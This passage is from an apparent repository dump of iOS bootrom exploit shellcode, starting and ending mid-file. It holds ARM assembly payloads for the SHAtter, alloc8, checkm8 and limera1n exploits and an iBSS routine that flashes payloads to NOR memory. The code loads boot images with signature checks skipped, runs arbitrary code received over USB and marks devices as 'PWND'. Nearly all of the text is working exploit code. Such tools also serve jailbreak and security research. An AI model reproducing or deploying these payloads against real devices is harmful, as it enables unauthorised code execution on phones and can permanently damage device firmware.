  /* arg3 */\n\n    LDR R3, [R5, #0x14]                         @ R3 = LOAD_ADDRESS[5]      /* arg4 */\n\n    LDR R4, [R5, #0x18]\n    STR R4, [SP]                                @ SP[0] = LOAD_ADDRESS[6]   /* arg5 */\n\n    LDR R4, [R5, #0x1C]\n    STR R4, [SP, #0x4]                          @ SP[1] = LOAD_ADDRESS[7]   /* arg6 */\n\n    LDR R4, [R5, #0x20]\n    STR R4, [SP, #0x8]                          @ SP[2] = LOAD_ADDRESS[8]   /* arg7 */\n\n    LDR R4, [R5, #0x4]\n    BLX R4                                      @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])\n\n    STR R0, [R5, #4]                            @ LOAD_ADDRESS[1] = R0\n\n    MOV R1, #0\n    STR R1, [R5]                                @ LOAD_ADDRESS[0] = 0\n\n    B pwned_dfu_loop                            @ goto pwned_dfu_loop\n\npwned_dfu_not_exec_magic:\n    LDR R0, =LOAD_ADDRESS\n    MOV R1, R4\n    MOV R2, #0\n    LDR R3, =memz_create\n    BLX R3                                      @ R0 = memz_create(LOAD_ADDRESS, R4, 0)\n\n    CMP R0, #0\n    BEQ pwned_dfu_loop                          @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */\n\n    LDR R3, =LOAD_ADDRESS\n    STR R3, [SP]                                @ SP[0] = LOAD_ADDRESS\n\n    STR R4, [SP, #4]                            @ SP[1] = R4\n\n    MOV R4, R0                                  @ R4 = R0\n\n    MOV R1, SP\n    ADD R2, SP, #4\n    BL image3_load_no_signature_check           @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])\n\n    CBNZ R0, load_failed                        @ if (R0 != 0) goto load_failed\n\n    LDR R1, =LOAD_ADDRESS\n    MOV R2, #0\n    LDR R3, =jump_to\n    BLX R3                                      @ jump_to(0, LOAD_ADDRESS, 0)\n\n    /* jump_to should never return */\n\nload_failed:\n    MOV R0, R4\n    LDR R3, =memz_destroy\n    BLX R3                                      @ memz_destroy(R4)\n\n    B pwned_dfu_loop                            @ goto pwned_dfu_loop\n\nimage3_load_no_signature_check:\n    PUSH {R4-R7, LR}                            @ push_registers(R4, R5, R6, R7, LR)\n\n    MOV R6, R11\n    MOV R5, R10\n    MOV R4, R8\n    PUSH {R4-R6}                                @ push_registers(R8, R10, R11)\n\n    ADD R7, SP, #0x18                           @ R7 = SP - 0x18\n\n    LDR R4, =IMAGE3_LOAD_SP_OFFSET\n    MOV R5, SP\n    SUB R5, R5, R4\n    MOV SP, R5                                  @ SP = SP - IMAGE3_LOAD_SP_OFFSET\n\n    MOV R3, #0\n    LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET\n    ADD R4, R5, R4\n    STR R3, [R4]                                @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0\n\n    STR R2, [SP, #0x10]                         @ SP[4] = R2\n\n    STR R1, [SP, #0x14]                         @ SP[5] = R1\n\n    STR R3, [SP, #0x18]                         @ SP[6] = 0\n\n    LDR R6, [R1]                                @ R6 = *R1\n\n    MOV R10, R1                                 @ R10 = R1\n\n    MOV R11, R3                                 @ R11 = 0\n\n    LDR R1, =MAX_SIZE\n    MOV R8, R1                                  @ R8 = MAX_SIZE\n\n    LDR R2, [R0, #4]\n    CMP R2, R1\n    BGT img3_fail                               @ if (R0[1] > MAX_SIZE) goto img3_fail\n\n    MOV R8, R2                                  @ R8 = R0[1]\n\n    MOV R0, R4\n    MOV R1, R6\n    LDR R4, =image3_create_struct\n    BLX R4\n    MOV R4, R0                                  @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)\n\n    LDR R3, =image3_load_continue               @ R3 = image3_load_continue\n\n    CBZ R4, img3_branch_R3                      @ if (R4 == 0) goto img3_branch_R3\n\nimg3_fail:\n    MOV R4, #1                                  @ R4 = 1\n\n    LDR R3, =image3_load_fail                   @ R3 = image3_load_fail\n\nimg3_branch_R3:\n    BX R3                                       @ goto R3\n\n.align 2\n\nPWND_STRING:\n.ascii \" PWND:[SHAtter]\\x00\"\n"
  },
  {
    "path": "src/alloc8-shellcode.S",
    "content": "@ alloc8-shellcode.S\n@ Author: axi0mX\n@ Shellcode for alloc8 exploit with minor improvements:\n@ * supports 'exec' magic for code execution over USB\n@ * reports PWND:[alloc8] in USB serial number string\n@ * enters pwned DFU on boot if home and power buttons are being held and cable is connected\n\n.text\n \n.pool\n.set free,                              0xBAD00004\n.set get_nor_image,                     0xBAD0000a\n.set memz_create,                       0xBAD00013\n.set memz_destroy,                      0xBAD00014\n.set image3_create_struct,              0xBAD00017\n.set image3_load_continue,              0xBAD00018\n.set image3_load_fail,                  0xBAD00019\n.set usb_wait_for_image,                0xBAD00010\n.set usb_create_serial_number_string,   0xBAD0000e\n.set jump_to,                           0xBAD0000d\n.set exit_critical_section,             0xBAD00005\n.set cable_connected,                   0xBAD00008\n.set power_button_pressed,              0xBAD00007\n.set home_button_pressed,               0xBAD00006\n.set clean_invalidate_data_cache,       0xBAD00002\n.set strlcat,                           0xBAD0000f\n\n.set gNorImg3List,                      0xBAD00003\n.set gLeakingDFUBuffer,                 0xBAD00011\n\n.set MAIN_STACK_ADDRESS,                0xBAD00001\n.set LOAD_ADDRESS,                      0xBAD0000b\n.set MAX_SIZE,                          0xBAD0000c\n.set ILLB_MAGIC,                        0xBAD00009\n.set MEMZ_STRUCT_MAGIC,                 0xBAD00016\n.set IMG3_STRUCT_MAGIC,                 0xBAD00015\n.set EXEC_MAGIC,                        0xBAD00012\n\n.global _start\n\n_start:\n.code 16\n    LDR R0, =MAIN_STACK_ADDRESS\n    MOV SP, R0                                  @ SP = MAIN_STACK_ADDRESS\n\n    LDR R0, =clean_invalidate_data_cache\n    BLX R0                                      @ clean_invalidate_data_cache()\n\n    LDR R4, =gNorImg3List                       @ R4 = &gNorImg3List\n\n    LDR R1, [R4, #4]                            @ R1 = R4[1]\n\n    LDR R5, [R1, #4]                            @ R5 = R1[1]\n\n    STR R4, [R1, #4]                            @ R1[1] = R4\n\n    STR R1, [R4]                                @ gNorImg3List = R1\n\n    LDR R6, =free                               @ R6 = free\n\nfree_loop:\n    CMP R4, R5\n    BEQ pwned_boot                              @ if (R4 == R5) goto pwned_boot\n\n    MOV R0, R5                                  @ R0 = R5\n\n    LDR R5, [R5, #4]                            @ R5 = R5[1]\n\n    BLX R6                                      @ free(R0)\n\n    B free_loop                                 @ goto free_loop\n\npwned_boot:\n    SUB SP, SP, #0xC                            @ SP -= 0xC\n\n    LDR R3, =exit_critical_section\n    BLX R3                                      @ exit_critical_section()\n\n    LDR R3, =home_button_pressed\n    BLX R3                                      @ R0 = home_button_pressed()\n\n    CBZ R0, pwned_llb_boot                      @ if (R0 == 0) goto pwned_llb_boot\n\n    LDR R3, =power_button_pressed\n    BLX R3                                      @ R0 = power_button_pressed()\n\n    CBZ R0, pwned_llb_boot                      @ if (R0 == 0) goto pwned_llb_boot\n\n    LDR R3, =cable_connected\n    BLX R3                                      @ R0 = cable_connected()\n\n    CBNZ R0, pwned_dfu                          @ if (R0 != 0) goto pwned_dfu\n\npwned_llb_boot:\n    LDR R0, =ILLB_MAGIC                 \n    LDR R3, =get_nor_image              \n    BLX R3                                      @ R0 = get_nor_image(ILLB_MAGIC)\n\n    CBZ R0, pwned_dfu                           @ if (R0 == 0) goto pwned_dfu\n\n    LDR R1, =LOAD_ADDRESS                       \n    STR R1, [SP]                                @ SP[0] = LOAD_ADDRESS\n\n    LDR R1, =MAX_SIZE\n    STR R1, [SP, #4]                            @ SP[1] = MAX_SIZE\n\n    MOV R1, SP\n    ADD R2, SP, #4\n    BL image3_load_no_signature_check           @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])\n\n    CBNZ R0, pwned_dfu                          @ if (R0 != 0) goto pwned_dfu\n\n    LDR R1, =LOAD_ADDRESS                       \n    MOV R2, #0\n    LDR R3, =jump_to\n    BLX R3                                      @ jump_to(0, LOAD_ADDRESS, 0)\n\n    /* jump_to should never return */\n\npwned_dfu:\n    MOV R0, #1\n    LDR R3, =usb_create_serial_number_string\n    BLX R3                                      @ R0 = usb_create_serial_number_string(1)\n\n    ADR R1, PWND_STRING\n    MOV R2, #120\n    LDR R3, =strlcat\n    BLX R3                                      @ strlcat(R0, PWND_STRING, 120)\n\npwned_dfu_loop:\n    LDR R0, =LOAD_ADDRESS\n    LDR R1, =MAX_SIZE\n    LDR R3, =usb_wait_for_image\n    BLX R3 \n    MOV R4, R0                                  @ R4 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)\n\n    LDR R5, =gLeakingDFUBuffer\n    LDR R0, [R5]\n    LDR R3, =free\n    BLX R3                                      @ free(gLeakingDFUBuffer)\n\n    MOV R0, #0\n    STR R0, [R5]                                @ gLeakingDFUBuffer = 0\n\n    CMP R4, #0\n    BLT pwned_dfu_loop                          @ if (R4 < 0) goto pwned_dfu_loop\n\n    LDR R5, =LOAD_ADDRESS\n    LDR R0, [R5]                                @ R0 = LOAD_ADDRESS[0]\n\n    LDR R1, =EXEC_MAGIC\n    CMP R0, R1\n    BEQ pwned_dfu_exec_magic                    @ if (R0 == EXEC_MAGIC) goto pwned_dfu_exec_magic\n\n    LDR R0, =LOAD_ADDRESS\n    MOV R1, R4\n    MOV R2, #0\n    LDR R3, =memz_create\n    BLX R3\n    MOV R4, R0                                  @ R4 = memz_create(LOAD_ADDRESS, R4, 0)\n\n    CBZ R4, pwned_dfu_loop_end                  @ if (R4 == 0) goto pwned_dfu_loop_end\n                         \n    STR R5, [SP]                                @ SP[0] = LOAD_ADDRESS\n\n    STR R4, [SP, #4]                            @ SP[1] = R4\n\n    MOV R1, SP\n    ADD R2, SP, #4\n    BL image3_load_no_signature_check           @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])\n\n    CBNZ R0, pwned_dfu_load_failed              @ if (R0 != 0) goto pwned_dfu_load_failed\n\n    LDR R1, =LOAD_ADDRESS\n    MOV R2, #0\n    LDR R3, =jump_to\n    BLX R3                                      @ jump_to(0, LOAD_ADDRESS, 0)\n\n    /* jump_to should never return */\n\npwned_dfu_load_failed:\n    MOV R0, R4\n    LDR R3, =memz_destroy\n    BLX R3                                      @ memz_destroy(R4)\n\npwned_dfu_loop_end:\n    B pwned_dfu_loop                            @ goto pwned_dfu_loop\n\npwned_dfu_exec_magic:\n    LDR R0, [R5, #0x8]                          @ R0 = LOAD_ADDRESS[2]      /* arg1 */\n\n    LDR R1, [R5, #0xC]                          @ R1 = LOAD_ADDRESS[3]      /* arg2 */\n\n    LDR R2, [R5, #0x10]                         @ R2 = LOAD_ADDRESS[4]      /* arg3 */\n\n    LDR R3, [R5, #0x14]                         @ R3 = LOAD_ADDRESS[5]      /* arg4 */\n\n    LDR R4, [R5, #0x18]                         /* TODO: Consider replacing with memmove? */\n    STR R4, [SP]                                @ SP[0] = LOAD_ADDRESS[6]   /* arg5 */\n\n    LDR R4, [R5, #0x1C]\n    STR R4, [SP, #0x4]                          @ SP[1] = LOAD_ADDRESS[7]   /* arg6 */\n\n    LDR R4, [R5, #0x20]\n    STR R4, [SP, #0x8]                          @ SP[2] = LOAD_ADDRESS[8]   /* arg7 */\n    \n    LDR R4, [R5, #0x4]                          \n    BLX R4                                      @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])\n\n    STR R0, [R5, #4]                            @ LOAD_ADDRESS[1] = R0\n\n    MOV R0, #0\n    STR R0, [R5]                                @ LOAD_ADDRESS[0] = 0\n\n    B pwned_dfu_loop                            @ goto pwned_dfu_loop\n\nimage3_load_no_signature_check:\n    PUSH {R4-R7, LR}                            /* TODO: Rewrite this ugly mess. */\n\n    MOV R6, R11\n    MOV R5, R10\n    MOV R4, R8\n    PUSH {R4-R6}\n\n    ADD R7, SP, #0x18\n    SUB SP, SP, #0x60\n\n    STR R2, [SP, #0x10]\n\n    MOVS R3, #0\n    STR R3, [SP, #0x50]\n\n    LDR R6, [R1]\n    MOV R10, R1\n    MOVS R5, R0\n\n    LDR R0, [R5, #4]\n    MOV R8, R0\n\n    LDR R1, =MAX_SIZE\n    CMP R0, R1\n    BGT img3_bad_size\n\n    LDR R0, [R5, #0xC]\n    LDR R1, =IMG3_STRUCT_MAGIC\n    CMP R0, R1\n    BNE not_nor_img3\n\n    MOV R4, R8\n    STR R4, [SP]\n\n    LDR R4, [R5, #0x14]\n    LDR R0, [R4, #8]\n    LDR R1, =LOAD_ADDRESS\n    LDR R2, [R4, #0xC]        \n    MOVS R3, #0\n    LDR R4, [R0, #0x1C]\n    BLX R4\n\n    CMP R0, R8\n    BNE img3_fail\n\n    B img3_continue\n\nnot_nor_img3:\n    LDR R1, =MEMZ_STRUCT_MAGIC\n    CMP R0, R1\n    BNE img3_fail\n\nimg3_continue:\n    ADD R0, SP, #0x50\n    MOVS R1, R6\n    MOV R2, R8\n    MOVS R3, #0\n    LDR R4, =image3_create_struct\n    BLX R4\n\n    MOV R4, R0\n\n    CBNZ R4, img3_fail\n\n    LDR R3, =image3_load_continue\n    BX R3\n\nimg3_bad_size:\n    MOV R8, R1\n\nimg3_fail:\n    MOV R4, #1\n    LDR R3, =image3_load_fail\n    BX R3\n\n.align 2\n\nPWND_STRING:\n.ascii \" PWND:[alloc8]\\x00\"\n"
  },
  {
    "path": "src/checkm8_arm64.S",
    "content": ".text\n\n.pool\n.set PAYLOAD_OFFSET,               0xBAD00006\n.set PAYLOAD_SIZE,                 0xBAD00007\n.set PAYLOAD_DEST,                 0xBAD00005\n.set PAYLOAD_PTR,                  0xBAD00008\n.set gUSBSerialNumber,             0xBAD00002\n.set gUSBSRNMStringDescriptor,     0xBAD00004\n.set gUSBDescriptors,              0xBAD00001\n.set usb_create_string_descriptor, 0xBAD00003\n\n.global _main\n_main:\n  MOV  X19, #0                      // HACK: do not free this usb request\n  STP  X29, X30, [SP,#-0x10]!\n  MOV  X29, SP\n\n  # Do not set USB Descriptors anymore, this will cause a crash on t8011 (and maybe others)\n  LDR  X0, =gUSBDescriptors\n  LDP  X0, X1, [X0]\n  ADR  X2, USB_DESCRIPTOR\n  LDP  X3, X4, [X2]\n  //STP  X3, X4, [X0]\n  //STP  X3, X4, [X1]\n  LDP  X3, X4, [X2,#0x10]\n  //STP  X3, X4, [X0,#0x10]\n  //STP  X3, X4, [X1,#0x10]\n\n  LDR  X0, =gUSBSerialNumber\nfind_zero_loop:\n  ADD  X0, X0, #1\n  LDRB W1, [X0]\n  CBNZ W1, find_zero_loop\n\n  ADR  X1, PWND_STRING\n  LDP  X2, X3, [X1]\n  STP  X2, X3, [X0]\n\n  LDR  X0, =gUSBSerialNumber\n  LDR  X1, =usb_create_string_descriptor\n  BLR  X1\n\n  LDR  X1, =gUSBSRNMStringDescriptor\n  STRB W0, [X1]\n\n  LDR  X0, =PAYLOAD_DEST\n  ADR  X1, _main\n  LDR  X2, =PAYLOAD_OFFSET\n  ADD  X1, X1, X2\n  MOV  X2, #0\n  LDR  X3, =PAYLOAD_SIZE\n  LDR  X4, =PAYLOAD_PTR\n  ADD  X5, X0, #0x18\n  STR  X5, [X4]\n\ncopy_loop:\n  LDP  X3, X4,  [X1]\n  STP  X3, X4,  [X0]\n  LDP  X3, X4,  [X1,#0x10]\n  STP  X3, X4,  [X0,#0x10]\n  LDP  X3, X4,  [X1,#0x20]\n  STP  X3, X4,  [X0,#0x20]\n  LDP  X3, X4,  [X1,#0x30]\n  STP  X3, X4,  [X0,#0x30]\n  DC   CIVAC, X0\n  DMB  SY\n  ADD  X0, X0, #0x40\n  ADD  X1, X1, #0x40\n  ADD  X2, X2, #0x40\n  CMP  X2, X3\n  B.CC copy_loop\n\n  SYS  #0, c7, c5, #0\n  DSB  SY\n  ISB\n\n  LDP  X29, X30, [SP],#0x10\n  RET\n\nUSB_DESCRIPTOR:\n.word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0\n\nPWND_STRING:\n.asciz \" PWND:[checkm8]\"\n"
  },
  {
    "path": "src/checkm8_armv7.S",
    "content": ".text\n\n.pool\n.set PAYLOAD_OFFSET,               0xBAD00006\n.set PAYLOAD_SIZE,                 0xBAD00007\n.set PAYLOAD_DEST,                 0xBAD00005\n.set PAYLOAD_PTR,                  0xBAD00008\n.set gUSBSerialNumber,             0xBAD00002\n.set gUSBSRNMStringDescriptor,     0xBAD00004\n.set gUSBDescriptors,              0xBAD00001\n.set usb_create_string_descriptor, 0xBAD00003\n\n.code 32\n.global _main\n_main:\n  MOV  R4, #0                 // HACK: do not free this usb request\n  PUSH {R4-R7,LR}\n\n  LDR  R0, =gUSBDescriptors\n  LDRD R0, R1, [R0]\n  ADR  R2, USB_DESCRIPTOR\n  LDRD R4, R5, [R2]\n  STRD R4, R5, [R0]\n  STRD R4, R5, [R1]\n  LDRD R4, R5, [R2,#0x8]\n  STRD R4, R5, [R0,#0x8]\n  STRD R4, R5, [R1,#0x8]\n  LDRD R4, R5, [R2,#0x10]\n  STRD R4, R5, [R0,#0x10]\n  STRD R4, R5, [R1,#0x10]\n  LDRD R4, R5, [R2,#0x18]\n  STRD R4, R5, [R0,#0x18]\n  STRD R4, R5, [R1,#0x18]\n\n  LDR  R0, =gUSBSerialNumber\nfind_zero_loop:\n  ADD  R0, R0, #1\n  LDRB R1, [R0]\n  CMP  R1, #0\n  BNE  find_zero_loop\n\n  ADR  R1, PWND_STRING\n  LDR  R2, [R1]\n  LDR  R3, [R1,#0x4]\n  STR  R2, [R0]\n  STR  R3, [R0,#0x4]\n  LDR  R2, [R1,#0x8]\n  LDR  R3, [R1,#0xC]\n  STR  R2, [R0,#0x8]\n  STR  R3, [R0,#0xC]\n\n  LDR  R0, =gUSBSerialNumber\n  LDR  R1, =usb_create_string_descriptor\n  LDR  R4, =gUSBSRNMStringDescriptor\n  BLX  R1\n  STRB R0, [R4]\n\n  LDR  R0, =PAYLOAD_DEST\n  ADR  R1, _main\n  LDR  R2, =PAYLOAD_OFFSET\n  ADD  R1, R1, R2\n  MOV  R2, #0\n  LDR  R3, =PAYLOAD_SIZE\n  LDR  R4, =PAYLOAD_PTR\n  ADD  R5, R0, #0x9\n  STR  R5, [R4]\n\ncopy_loop:\n  LDRD R4, R5, [R1]\n  STRD R4, R5, [R0]\n  LDRD R4, R5, [R1,#0x8]\n  STRD R4, R5, [R0,#0x8]\n  LDRD R4, R5, [R1,#0x10]\n  STRD R4, R5, [R0,#0x10]\n  LDRD R4, R5, [R1,#0x18]\n  STRD R4, R5, [R0,#0x18]\n  LDRD R4, R5, [R1,#0x20]\n  STRD R4, R5, [R0,#0x20]\n  LDRD R4, R5, [R1,#0x28]\n  STRD R4, R5, [R0,#0x28]\n  LDRD R4, R5, [R1,#0x30]\n  STRD R4, R5, [R0,#0x30]\n  LDRD R4, R5, [R1,#0x38]\n  STRD R4, R5, [R0,#0x38]\n  MCR  p15, 0, R0,c7,c14, 1\n  DMB  SY\n  ADD  R0, R0, #0x40\n  ADD  R1, R1, #0x40\n  ADD  R2, R2, #0x40\n  CMP  R2, R3\n  BCC  copy_loop\n\n  MOV  R0, #0\n  MCR  p15, 0, R0, c7, c5, 0 \n  DSB\n  ISB\n\n  POP  {R4-R7,PC}\n\nUSB_DESCRIPTOR:\n.word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0\n\nPWND_STRING:\n.asciz \" PWND:[checkm8]\"\n"
  },
  {
    "path": "src/ibss-flash-nor-shellcode.S",
    "content": "@ ibss-flash-nor-shellcode.S\n@ Author: axi0mX\n@ Flashes parts of payload to NOR using iPhone2,1 4.3.5 iBSS\n@ Parts flashed: 0x0-0x200, 0x8000-0xF3000\n\n.text\n\n.pool\n.set reboot_cmd,            0x84000cdd\n.set set_bgcolor,           0x8400c6ed\n.set apply_bgcolor,         0x8400c789\n.set get_block_device,      0x84012c61\n\n.set gNor0String,           0x84014754\n\n.set NOR_PAYLOAD_BASE,      0x41000080\n.set NOR_WRITE_1_OFFSET,             0\n.set NOR_WRITE_1_SIZE,           0x200\n.set NOR_WRITE_2_OFFSET,        0x8000\n.set NOR_WRITE_2_SIZE,         0x78000\n.set NOR_WRITE_3_OFFSET,       0x80000\n.set NOR_WRITE_3_SIZE,         0x73000\n\n.global _start\n\n_start:\n.code 16\n    MOV R0, #0\n    MOV R1, #160\n    MOV R2, #0\n    LDR R3, =set_bgcolor\n    BLX R3                                      @ set_bgcolor(0, 160, 0)\n\n    LDR R3, =apply_bgcolor\n    BLX R3                                      @ apply_bgcolor()\n\n    LDR R0, =NOR_WRITE_1_OFFSET\n    LDR R1, =NOR_WRITE_1_SIZE\n    BL flash_nor                                @ flash_nor(NOR_WRITE_1_OFFSET, NOR_WRITE_1_SIZE)\n\n    LDR R0, =NOR_WRITE_2_OFFSET\n    LDR R1, =NOR_WRITE_2_SIZE\n    BL flash_nor                                @ flash_nor(NOR_WRITE_2_OFFSET, NOR_WRITE_2_SIZE)\n\n    LDR R0, =NOR_WRITE_3_OFFSET\n    LDR R1, =NOR_WRITE_3_SIZE\n    BL flash_nor                                @ flash_nor(NOR_WRITE_3_OFFSET, NOR_WRITE_3_SIZE)\n\n    LDR R3, =reboot_cmd\n    BLX R3                                      @ reboot_cmd()\n\n    /* reboot_cmd should never return */\n\n    B spin                                      @ goto spin\n\nflash_nor:                                      @ void flash_nor(R0=offset, R1=size)\n    PUSH {R4-R5, LR}\n\n    MOV R4, R0                                  @ R4 = R0\n    MOV R5, R1                                  @ R5 = R1\n\n    LDR R0, =gNor0String\n    LDR R3, =get_block_device\n    BLX R3                                      @ R0 = get_block_device(gNor0String)\n\n    CBZ R0, fail                                @ if (R0 == 0) goto fail\n\n    LDR R1, =NOR_PAYLOAD_BASE\n    ADD R1, R1, R4\n    MOV R2, R4\n    MOV R3, #0\n    STR R5, [SP]\n    LDR R4, [R0, #0x24]\n    BLX R4                                      @ R0 = R0[9](R0, NOR_PAYLOAD_BASE + R4, R4, 0, R5)\n\n    CMP R0, R5\n    BNE fail                                    @ if (R0 != R5) goto fail\n\n    POP {R4-R5, PC}                             @ return\n\nfail:\n    MOV R0, #255\n    MOV R1, #0\n    MOV R2, #0\n    LDR R3, =set_bgcolor\n    BLX R3                                      @ set_bgcolor(255, 0, 0)\n\n    LDR R3, =apply_bgcolor\n    BLX R3                                      @ apply_bgcolor()\n\nspin:\n    B spin                                      @ while (1)\n"
  },
  {
    "path": "src/limera1n-shellcode.S",
    "content": "@ limera1n-shellcode.S\n@ Author: axi0mX\n@ Shellcode for limera1n exploit with minor improvements:\n@ * supports 'exec' magic for code execution over USB\n@ * reports PWND:[limera1n] in USB serial number string\n\n.text\n \n.pool\n.set free,                          0xBAD0000d\n.set memz_create,                   0xBAD0000f\n.set memz_destroy,                  0xBAD00011\n.set image3_create_struct,          0xBAD00014\n.set image3_load_continue,          0xBAD00015\n.set image3_load_fail,              0xBAD00016\n.set usb_wait_for_image,            0xBAD00009\n.set jump_to,                       0xBAD00010\n.set nor_power_on,                  0xBAD00005\n.set nor_init,                      0xBAD00006\n.set memmove,                       0xBAD00003\n.set strlcat,                       0xBAD00008\n\n.set gLeakingDFUBuffer,             0xBAD0000c\n.set gUSBSerialNumber,              0xBAD00007\n\n.set RELOCATE_SHELLCODE_ADDRESS,    0xBAD00001\n.set RELOCATE_SHELLCODE_SIZE,       0xBAD00002\n.set MAIN_STACK_ADDRESS,            0xBAD00004\n.set LOAD_ADDRESS,                  0xBAD0000a\n.set MAX_SIZE,                      0xBAD0000b\n.set EXEC_MAGIC,                    0xBAD0000e\n.set IMAGE3_LOAD_SP_OFFSET,         0xBAD00012\n.set IMAGE3_LOAD_STRUCT_OFFSET,     0xBAD00013\n\n.global _start\n\n_start:\n.code 16\n    B   relocate_shellcode                      @ goto relocate_shellcode\n\n    NOP\n    NOP\n    NOP\n    NOP                                         \n    NOP                                         \n    NOP                                         \n    NOP\n    NOP\n    NOP\n\nrelocate_shellcode:\n    MOV R1, PC\n    SUB R1, R1, #4                              @ R1 = PC - 4\n\n    LDR R0, =RELOCATE_SHELLCODE_ADDRESS\n    CMP R0, R1\n    BEQ pwned_dfu_start                         @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_start\n\n    LDR R2, =RELOCATE_SHELLCODE_SIZE\n    LDR R3, =memmove\n    BLX R3                                      @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)\n\n    LDR R3, =RELOCATE_SHELLCODE_ADDRESS\n    ADD R3, R3, #1\n    BX R3                                       @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)\n\npwned_dfu_start:\n    LDR R0, =MAIN_STACK_ADDRESS\n    MOV SP, R0                                  @ SP = MAIN_STACK_ADDRESS\n\n    MOV R0, #1\n    MOV R1, #1\n    MOV R2, #0\n    LDR R3, =nor_power_on\n    BLX R3                                      @ nor_power_on(1, 1, 0)\n\n    MOV R0, #0\n    LDR R3, =nor_init\n    BLX R3                                      @ nor_init(0)\n\n    LDR R0, =gUSBSerialNumber\n    ADR R1, PWND_STRING\n    MOV R2, #120\n    LDR R3, =strlcat\n    BLX R3                                      @ strlcat(gUSBSerialNumber, PWND_STRING, 120)\n\npwned_dfu_loop:\n    LDR R3, =usb_wait_for_image\n    LDR R0, =LOAD_ADDRESS\n    LDR R1, =MAX_SIZE\n    BLX R3                                      @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)\n\n    MOV R4, R0                                  @ R4 = R0\n\n    LDR R1, =gLeakingDFUBuffer\n    LDR R0, [R1]                                @ R0 = gLeakingDFUBuffer\n\n    MOV R2, #0\n    STR R2, [R1]                                @ gLeakingDFUBuffer = 0\n\n    LDR R3, =free\n    BLX R3                                      @ free(R0)\n\n    CMP R4, #0\n    BLT pwned_dfu_loop                          @ if (R4 < 0) goto pwned_dfu_loop\n\n    LDR R5, =LOAD_ADDRESS\n    LDR R0, [R5]                                @ R0 = LOAD_ADDRESS[0]\n\n    LDR R1, =EXEC_MAGIC\n    CMP R0, R1\n    BNE pwned_dfu_not_exec_magic                @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic\n\n    LDR R0, [R5, #0x8]                          @ R0 = LOAD_ADDRESS[2]      /* arg1 */\n\n    LDR R1, [R5, #0xC]                          @ R1 = LOAD_ADDRESS[3]      /* arg2 */\n\n    LDR R2, [R5, #0x10]                         @ R2 = LOAD_ADDRESS[4]      /* arg3 */\n\n    LDR R3, [R5, #0x14]                         @ R3 = LOAD_ADDRESS[5]      /* arg4 */\n\n    LDR R4, [R5, #0x18]\n    STR R4, [SP]                                @ SP[0] = LOAD_ADDRESS[6]   /* arg5 */\n\n    LDR R4, [R5, #0x1C]\n    STR R4, [SP, #0x4]                          @ SP[1] = LOAD_ADDRESS[7]   /* arg6 */\n\n    LDR R4, [R5, #0x20]\n    STR R4, [SP, #0x8]                          @ SP[2] = LOAD_ADDRESS[8]   /* arg7 */\n    \n    LDR R4, [R5, #0x4]                          \n    BLX R4                                      @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])\n\n    STR R0, [R5, #4]                            @ LOAD_ADDRESS[1] = R0\n\n    MOV R1, #0\n    STR R1, [R5]                                @ LOAD_ADDRESS[0] = 0\n\n    B pwned_dfu_loop                            @ goto pwned_dfu_loop\n\npwned_dfu_not_exec_magic:\n    LDR R0, =LOAD_ADDRESS\n    MOV R1, R4\n    MOV R2, #0\n    LDR R3, =memz_create\n    BLX R3                                      @ R0 = memz_create(LOAD_ADDRESS, R4, 0)\n\n    CMP R0, #0\n    BEQ pwned_dfu_loop                          @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */\n\n    LDR R3, =LOAD_ADDRESS                       \n    STR R3, [SP]                                @ SP[0] = LOAD_ADDRESS\n\n    STR R4, [SP, #4]                            @ SP[1] = R4\n\n    MOV R4, R0                                  @ R4 = R0\n\n    MOV R1, SP\n    ADD R2, SP, #4\n    BL image3_load_no_signature_check           @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])\n\n    CBNZ R0, load_failed                        @ if (R0 != 0) goto load_failed\n\n    LDR R1, =LOAD_ADDRESS\n    MOV R2, #0\n    LDR R3, =jump_to\n    BLX R3                                      @ jump_to(0, LOAD_ADDRESS, 0)\n\n    /* jump_to should never return */\n\nload_failed:\n    MOV R0, R4\n    LDR R3, =memz_destroy\n    BLX R3                                      @ memz_destroy(R4)\n\n    B pwned_dfu_loop                            @ goto pwned_dfu_loop\n\nimage3_load_no_signature_check:\n    PUSH {R4-R7, LR}                            @ push_registers(R4, R5, R6, R7, LR)\n\n    MOV R6, R11\n    MOV R5, R10\n    MOV R4, R8\n    PUSH {R4-R6}                                @ push_registers(R8, R10, R11)\n\n    ADD R7, SP, #0x18                           @ R7 = SP - 0x18\n\n    LDR R4, =IMAGE3_LOAD_SP_OFFSET\n    MOV R5, SP\n    SUB R5, R5, R4\n    MOV SP, R5                                  @ SP = SP - IMAGE3_LOAD_SP_OFFSET\n\n    MOV R3, #0\n    LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET\n    ADD R4, R5, R4\n    STR R3, [R4]                                @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0\n\n    STR R2, [SP, #0x10]                         @ SP[4] = R2\n\n    STR R1, [SP, #0x14]                         @ SP[5] = R1\n\n    STR R3, [SP, #0x18]                         @ SP[6] = 0\n\n    LDR R6, [R1]                                @ R6 = *R1\n\n    MOV R10, R1                                 @ R10 = R1\n\n    MOV R11, R3                                 @ R11 = 0\n\n    LDR R1, =MAX_SIZE\n    MOV R8, R1                                  @ R8 = MAX_SIZE\n\n    LDR 